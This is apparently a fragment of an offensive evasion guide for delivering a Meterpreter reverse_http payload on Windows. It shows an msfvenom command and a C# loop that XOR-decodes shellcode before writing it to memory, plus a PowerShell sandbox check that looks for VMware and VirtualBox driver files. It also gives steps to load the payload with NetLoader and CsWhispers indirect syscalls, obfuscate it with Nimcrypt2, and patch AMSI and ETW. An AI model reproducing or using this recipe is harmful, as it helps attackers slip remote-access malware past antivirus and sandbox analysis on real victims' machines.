XOR our shellcode with the value 0x5C (make sure to get rid of new lines, as this breaks the recipe).
Replace the shellcode in the program with the output, and then add a short loop which XORs each byte with 0x5C just before writing the shellcode to memory
<SNIP>// XOR'd shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)byte[] buf =newbyte[] { <SNIP> }// Allocate RW space for shellcode<SNIP>// Decrypt shellcodeint i =0;while (i <buf.Length){buf[i] = (byte)(buf[i] ^0x5c); i++;}// Copy shellcode into allocated space<SNIP>
# Target VMware and VirtualBox$EvidenceOfSandbox =New-Object System.Collections.ArrayList $FilePathsToCheck ='C:\windows\System32\Drivers\Vmmouse.sys’,'C:\windows\System32\Drivers\vm3dgl.dll','C:\windows\System32\Drivers\vmdum.dll’,'C:\windows\System32\Drivers\vm3dver.dll','C:\windows\System32\Drivers\vmtray.dll','C:\windows\System32\Drivers\vmci.sys','C:\windows\System32\Drivers\vmusbmouse.sys','C:\windows\system32\Drivers\vmx_svga.sys','C:\windows\system32\Drivers\vmxnet.sys','C:\windows\System32\Drivers\VMToolsHook.dll','C:\windows\System32\Drivers\vmhgfs.dll','C:\windows\System32\Drivers\vmmousever.dll','C:\windows\System32\Drivers\vmGuestLib.dll','C:\windows\System32\Drivers\VmGuestLibJava.dll','C:\windows\System32\Drivers\vmscsi.sys','C:\windows\System32\Drivers\VBoxMouse.sys','C:\windows\System32\Drivers\VBoxGuest.sys','C:\windows\System32\Drivers\VBoxSF.sys','C:\windows\System32\Drivers\VBoxVideo.sys'ForEach ($FilePath in $FilePathsToCheck) {if (Test-Path $FilePath) { [void]$EvidenceOfSandbox.Add($FilePath) } }if ($EvidenceOfSandbox.count -eq0) {} else {Write-Output"The following files on disk suggest we are running in a sandbox. Caution!." $EvidenceOfSandbox}
Payload Delivery
Use NetLoader with CsWhispers to add D/Invoke and indirect syscall execution
Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code' under build configuration.
Create a new file called CsWhispers.txt under CsWhispers.Sample and append NT API and struct equivalents that are required to be replaced in the NetLoader project.
Finally, append the NetLoader project into CSWhispers.Sample and replace appropriate WinAPIs with their NT equivalents. Build the solution.
Obfuscate the generated assembly using Nimcrypt2.
NetLoader can be used to loadbinary from filepathor URL and patch AMSI & ETW while executing.